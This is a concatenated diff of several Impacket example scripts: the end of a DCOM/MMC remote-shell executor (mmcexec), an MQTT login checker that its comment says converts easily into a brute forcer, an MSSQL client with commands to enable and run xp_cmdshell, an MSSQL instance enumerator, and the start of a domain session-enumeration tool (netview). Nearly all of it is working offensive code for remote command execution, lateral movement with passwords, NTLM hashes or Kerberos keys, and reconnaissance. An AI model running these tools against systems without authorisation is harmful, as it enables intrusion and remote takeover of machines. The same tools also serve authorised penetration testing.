iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
|
||||
iMMC = IDispatch(iInterface)
|
||||
|
||||
resp = iMMC.GetIDsOfNames(('Document',))
|
||||
|
||||
dispParams = DISPPARAMS(None, False)
|
||||
dispParams['rgvarg'] = NULL
|
||||
dispParams['rgdispidNamedArgs'] = NULL
|
||||
dispParams['cArgs'] = 0
|
||||
dispParams['cNamedArgs'] = 0
|
||||
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
||||
|
||||
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
||||
resp = iDocument.GetIDsOfNames(('ActiveView',))
|
||||
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
||||
|
||||
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
||||
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
|
||||
|
||||
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
|
||||
|
||||
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
|
||||
if self.__command != ' ':
|
||||
self.shell.onecmd(self.__command)
|
||||
if self.shell is not None:
|
||||
self.shell.do_exit('')
|
||||
else:
|
||||
self.shell.cmdloop()
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
if self.shell is not None:
|
||||
self.shell.do_exit('')
|
||||
logging.error(str(e))
|
||||
if smbConnection is not None:
|
||||
smbConnection.logoff()
|
||||
dcom.disconnect()
|
||||
sys.stdout.flush()
|
||||
sys.exit(1)
|
||||
|
||||
if smbConnection is not None:
|
||||
smbConnection.logoff()
|
||||
dcom.disconnect()
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, quit, executeShellCommand, smbConnection):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__output = '\\' + OUTPUT_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__shell = 'c:\\windows\\system32\\cmd.exe'
|
||||
self.__quit = quit
|
||||
self.__executeShellCommand = executeShellCommand
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = 'C:\\'
|
||||
self.__noOutput = False
|
||||
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd('\\')
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
|
||||
get {file} - downloads pathname to the current local dir
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
try:
|
||||
os.chdir(s)
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
import ntpath
|
||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
fh = open(filename,'wb')
|
||||
logging.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
os.remove(filename)
|
||||
pass
|
||||
|
||||
def do_put(self, s):
|
||||
try:
|
||||
params = s.split(' ')
|
||||
if len(params) > 1:
|
||||
src_path = params[0]
|
||||
dst_path = params[1]
|
||||
elif len(params) == 1:
|
||||
src_path = params[0]
|
||||
dst_path = ''
|
||||
|
||||
src_file = os.path.basename(src_path)
|
||||
fh = open(src_path, 'rb')
|
||||
dst_path = string.replace(dst_path, '/','\\')
|
||||
import ntpath
|
||||
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
|
||||
drive, tail = ntpath.splitdrive(pathname)
|
||||
logging.info("Uploading %s to %s" % (src_file, pathname))
|
||||
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
|
||||
fh.close()
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
pass
|
||||
|
||||
def do_exit(self, s):
|
||||
dispParams = DISPPARAMS(None, False)
|
||||
dispParams['rgvarg'] = NULL
|
||||
dispParams['rgdispidNamedArgs'] = NULL
|
||||
dispParams['cArgs'] = 0
|
||||
dispParams['cNamedArgs'] = 0
|
||||
|
||||
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
|
||||
0, [], [])
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
return False
|
||||
|
||||
def do_cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = self.__pwd + '>'
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def default(self, line):
|
||||
# Let's try to guess if the user is trying to change drive
|
||||
if len(line) == 2 and line[1] == ':':
|
||||
# Execute the command and see if the drive is valid
|
||||
self.execute_remote(line)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
# Something went wrong
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
# Drive valid, now we should get the current path
|
||||
self.__pwd = line
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = self.__pwd + '>'
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||
# Output not finished, let's wait
|
||||
time.sleep(1)
|
||||
pass
|
||||
elif str(e).find('Broken') >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting
|
||||
logging.debug('Connection broken, trying to recreate it')
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = '/Q /c ' + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
|
||||
dispParams = DISPPARAMS(None, False)
|
||||
dispParams['rgdispidNamedArgs'] = NULL
|
||||
dispParams['cArgs'] = 4
|
||||
dispParams['cNamedArgs'] = 0
|
||||
arg0 = VARIANT(None, False)
|
||||
arg0['clSize'] = 5
|
||||
arg0['vt'] = VARENUM.VT_BSTR
|
||||
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg0['_varUnion']['bstrVal']['asData'] = self.__shell
|
||||
|
||||
arg1 = VARIANT(None, False)
|
||||
arg1['clSize'] = 5
|
||||
arg1['vt'] = VARENUM.VT_BSTR
|
||||
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg1['_varUnion']['bstrVal']['asData'] = self.__pwd
|
||||
|
||||
arg2 = VARIANT(None, False)
|
||||
arg2['clSize'] = 5
|
||||
arg2['vt'] = VARENUM.VT_BSTR
|
||||
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg2['_varUnion']['bstrVal']['asData'] = command
|
||||
|
||||
arg3 = VARIANT(None, False)
|
||||
arg3['clSize'] = 5
|
||||
arg3['vt'] = VARENUM.VT_BSTR
|
||||
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg3['_varUnion']['bstrVal']['asData'] = '7'
|
||||
dispParams['rgvarg'].append(arg3)
|
||||
dispParams['rgvarg'].append(arg2)
|
||||
dispParams['rgvarg'].append(arg1)
|
||||
dispParams['rgvarg'].append(arg0)
|
||||
|
||||
self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
|
||||
0, [], [])
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
|
||||
class AuthFileSyntaxError(Exception):
|
||||
|
||||
'''raised by load_smbclient_auth_file if it encounters a syntax error
|
||||
while loading the smbclient-style authentication file.'''
|
||||
|
||||
def __init__(self, path, lineno, reason):
|
||||
self.path=path
|
||||
self.lineno=lineno
|
||||
self.reason=reason
|
||||
|
||||
def __str__(self):
|
||||
return 'Syntax error in auth file %s line %d: %s' % (
|
||||
self.path, self.lineno, self.reason )
|
||||
|
||||
def load_smbclient_auth_file(path):
|
||||
|
||||
'''Load credentials from an smbclient-style authentication file (used by
|
||||
smbclient, mount.cifs and others). returns (domain, username, password)
|
||||
or raises AuthFileSyntaxError or any I/O exceptions.'''
|
||||
|
||||
lineno=0
|
||||
domain=None
|
||||
username=None
|
||||
password=None
|
||||
for line in open(path):
|
||||
lineno+=1
|
||||
|
||||
line = line.strip()
|
||||
|
||||
if line.startswith('#') or line=='':
|
||||
continue
|
||||
|
||||
parts = line.split('=',1)
|
||||
if len(parts) != 2:
|
||||
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
|
||||
|
||||
(k,v) = (parts[0].strip(), parts[1].strip())
|
||||
|
||||
if k=='username':
|
||||
username=v
|
||||
elif k=='password':
|
||||
password=v
|
||||
elif k=='domain':
|
||||
domain=v
|
||||
else:
|
||||
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
|
||||
|
||||
return (domain, username, password)
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows "
|
||||
"Management Instrumentation.")
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
|
||||
'(default ADMIN$)')
|
||||
parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
|
||||
'(no SMB connection created)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
|
||||
'launch a semi-interactive shell')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
|
||||
"See smbclient man page's -A option.")
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if ' '.join(options.command) == ' ' and options.nooutput is True:
|
||||
logging.error("-nooutput switch and interactive shell not supported")
|
||||
sys.exit(1)
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
try:
|
||||
if options.A is not None:
|
||||
(domain, username, password) = load_smbclient_auth_file(options.A)
|
||||
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
executer = MMCEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
|
||||
options.share, options.nooutput, options.k, options.dc_ip)
|
||||
executer.run(address)
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
sys.exit(0)
|
||||
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# Simple MQTT example aimed at playing with different login options. Can be converted into a account/password
|
||||
# brute forcer quite easily.
|
||||
#
|
||||
# Reference for:
|
||||
# MQTT and Structure
|
||||
#
|
||||
#
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
import re
|
||||
import sys
|
||||
|
||||
from impacket import version
|
||||
from impacket.examples import logger
|
||||
from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection
|
||||
|
||||
try:
|
||||
import OpenSSL
|
||||
from OpenSSL import SSL, crypto
|
||||
except:
|
||||
logging.critical("pyOpenSSL is not installed, can't continue")
|
||||
raise
|
||||
|
||||
|
||||
class MQTT_LOGIN:
|
||||
def __init__(self, username, password, target, options):
|
||||
self._options = options
|
||||
self._username = username
|
||||
self._password = password
|
||||
self._target = target
|
||||
|
||||
if self._username == '':
|
||||
self._username = None
|
||||
|
||||
def run(self):
|
||||
mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl)
|
||||
|
||||
if self._options.client_id is None:
|
||||
clientId = ' '
|
||||
else:
|
||||
clientId = self._options.client_id
|
||||
|
||||
mqtt.connect(clientId, self._username, self._password)
|
||||
|
||||
logging.info(CONNECT_ACK_ERROR_MSGS[0])
|
||||
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
parser = argparse.ArgumentParser(add_help=False,
|
||||
description="MQTT login check")
|
||||
parser.add_argument("--help", action="help", help='show this help message and exit')
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')
|
||||
parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)')
|
||||
parser.add_argument('-ssl', action='store_true', help='turn SSL on')
|
||||
parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
try:
|
||||
options = parser.parse_args()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
check_mqtt = MQTT_LOGIN(username, password, address, options)
|
||||
try:
|
||||
check_mqtt.run()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
logging.error(e)
|
||||
|
||||
|
||||
@@ -0,0 +1,174 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: [MS-TDS] & [MC-SQLR] example.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (beto@coresecurity.com/@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# Structure
|
||||
#
|
||||
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import string
|
||||
import os
|
||||
import logging
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version, tds
|
||||
|
||||
if __name__ == '__main__':
|
||||
import cmd
|
||||
|
||||
class SQLSHELL(cmd.Cmd):
|
||||
def __init__(self, SQL):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.sql = SQL
|
||||
self.prompt = 'SQL> '
|
||||
self.intro = '[!] Press help for extra shell commands'
|
||||
|
||||
def do_help(self, line):
|
||||
print """
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
exit - terminates the server process (and this session)
|
||||
enable_xp_cmdshell - you know what it means
|
||||
disable_xp_cmdshell - you know what it means
|
||||
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
|
||||
! {cmd} - executes a local shell cmd
|
||||
"""
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_xp_cmdshell(self, s):
|
||||
try:
|
||||
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
|
||||
self.sql.printReplies()
|
||||
self.sql.colMeta[0]['TypeData'] = 80*2
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_lcd(self, s):
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
os.chdir(s)
|
||||
|
||||
def do_enable_xp_cmdshell(self, line):
|
||||
try:
|
||||
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
|
||||
"exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_disable_xp_cmdshell(self, line):
|
||||
try:
|
||||
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure "
|
||||
"'show advanced options', 0 ;RECONFIGURE;")
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def default(self, line):
|
||||
try:
|
||||
self.sql.sql_query(line)
|
||||
self.sql.printReplies()
|
||||
self.sql.printRows()
|
||||
except:
|
||||
pass
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
|
||||
def do_exit(self, line):
|
||||
return True
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')
|
||||
parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')
|
||||
parser.add_argument('-windows-auth', action='store_true', default = 'False', help='whether or not to use Windows '
|
||||
'Authentication (default False)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
ms_sql = tds.MSSQL(address, string.atoi(options.port))
|
||||
ms_sql.connect()
|
||||
try:
|
||||
if options.k is True:
|
||||
res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
|
||||
kdcHost=options.dc_ip)
|
||||
else:
|
||||
res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
|
||||
ms_sql.printReplies()
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
res = False
|
||||
if res is True:
|
||||
shell = SQLSHELL(ms_sql)
|
||||
if options.file is None:
|
||||
shell.cmdloop()
|
||||
else:
|
||||
for line in options.file.readlines():
|
||||
print "SQL> %s" % line,
|
||||
shell.onecmd(line)
|
||||
ms_sql.disconnect()
|
||||
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: [MC-SQLR] example. Retrieves the instances names from the target host
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# Structure
|
||||
#
|
||||
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import string
|
||||
import logging
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version, tds
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
print version.BANNER
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.")
|
||||
|
||||
parser.add_argument('host', action='store', help='target host')
|
||||
parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
ms_sql = tds.MSSQL(options.host)
|
||||
instances = ms_sql.getInstances(string.atoi(options.timeout))
|
||||
if len(instances) == 0:
|
||||
"No MSSQL Instances found"
|
||||
else:
|
||||
for i, instance in enumerate(instances):
|
||||
logging.info("Instance %d" % i)
|
||||
for key in instance.keys():
|
||||
print key + ":" + instance[key]
|
||||
|
||||
@@ -0,0 +1,505 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# The idea of this script is to get a list of the sessions
|
||||
# opened at the remote hosts and keep track of them.
|
||||
# Coincidentally @mubix did something similar a few years
|
||||
# ago so credit goes to him (and the script's name ;)).
|
||||
# Check it out at https://github.com/mubix/netview
|
||||
# The main difference with our approach is we keep
|
||||
# looping over the hosts found and keep track of who logged
|
||||
# in/out from remote servers. Plus, we keep the connections
|
||||
# with the target systems and just send a few DCE-RPC packets.
|
||||
#
|
||||
# One VERY IMPORTANT thing is:
|
||||
#
|
||||
# YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS
|
||||
# NAMES. That's usually solved by setting your DNS to the
|
||||
# domain DNS (and the right search domain).
|
||||
#
|
||||
# Some examples of usage are:
|
||||
#
|
||||
# netview.py -target 192.168.1.10 beto
|
||||
#
|
||||
# This will show the sessions on 192.168.1.10 and will authenticate as 'beto'
|
||||
# (password will be prompted)
|
||||
#
|
||||
# netview.py FREEFLY.NET/beto
|
||||
#
|
||||
# This will download all machines from FREEFLY.NET, authenticated as 'beto'
|
||||
# and will gather the session information for those machines that appear
|
||||
# to be up. There is a background thread checking aliveness of the targets
|
||||
# at all times.
|
||||
#
|
||||
# netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto
|
||||
#
|
||||
# This will download all machines from FREEFLY.NET, authenticating using
|
||||
# Kerberos (that's why -dc-ip parameter is needed), and filter
|
||||
# the output based on the list of users specified in /tmp/users file.
|
||||
#
|
||||
#
|
||||
import sys
|
||||
import argparse
|
||||
import logging
|
||||
import socket
|
||||
from threading import Thread, Event
|
||||
from Queue import Queue
|
||||
from time import sleep
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, wkst, srvs, samr
|
||||
from impacket.dcerpc.v5.ndr import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
|
||||
machinesAliveQueue = Queue()
|
||||
machinesDownQueue = Queue()
|
||||
|
||||
myIP = None
|
||||
|
||||
def checkMachines(machines, stopEvent, singlePass=False):
|
||||
origLen = len(machines)
|
||||
deadMachines = machines
|
||||
done = False
|
||||
while not done:
|
||||
if stopEvent.is_set():
|
||||
done = True
|
||||
break
|
||||
for machine in deadMachines:
|
||||
s = socket.socket()
|
||||
try:
|
||||
s = socket.create_connection((machine, 445), 2)
|
||||
global myIP
|
||||
myIP = s.getsockname()[0]
|
||||
s.close()
|
||||
machinesAliveQueue.put(machine)
|
||||
except Exception, e:
|
||||
logging.debug('%s: not alive (%s)' % (machine, e))
|
||||
pass
|
||||
else:
|
||||
logging.debug('%s: alive!' % machine)
|
||||
deadMachines.remove(machine)
|
||||
if stopEvent.is_set():
|
||||
done = True
|
||||
break
|
||||
|
||||
logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen))
|
||||
if singlePass is True:
|
||||
done = True
|
||||
if not done:
|
||||
sleep(10)
|
||||
# Do we have some new deadMachines to add?
|
||||
while machinesDownQueue.empty() is False:
|
||||
deadMachines.append(machinesDownQueue.get())
|
||||
|
||||
class USERENUM:
|
||||
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = options.dc_ip
|
||||
self.__options = options
|
||||
self.__machinesList = list()
|
||||
self.__targets = dict()
|
||||
self.__filterUsers = None
|
||||
self.__targetsThreadEvent = None
|
||||
self.__targetsThread = None
|
||||
self.__maxConnections = int(options.max_connections)
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def getDomainMachines(self):
|
||||
if self.__kdcHost is not None:
|
||||
domainController = self.__kdcHost
|
||||
elif self.__domain is not '':
|
||||
domainController = self.__domain
|
||||
else:
|
||||
raise Exception('A domain is needed!')
|
||||
|
||||
logging.info('Getting machine\'s list from %s' % domainController)
|
||||
rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password,
|
||||
self.__domain, self.__lmhash, self.__nthash, self.__aesKey,
|
||||
doKerberos=self.__doKerberos, kdcHost = self.__kdcHost)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
try:
|
||||
resp = samr.hSamrConnect(dce)
|
||||
serverHandle = resp['ServerHandle']
|
||||
|
||||
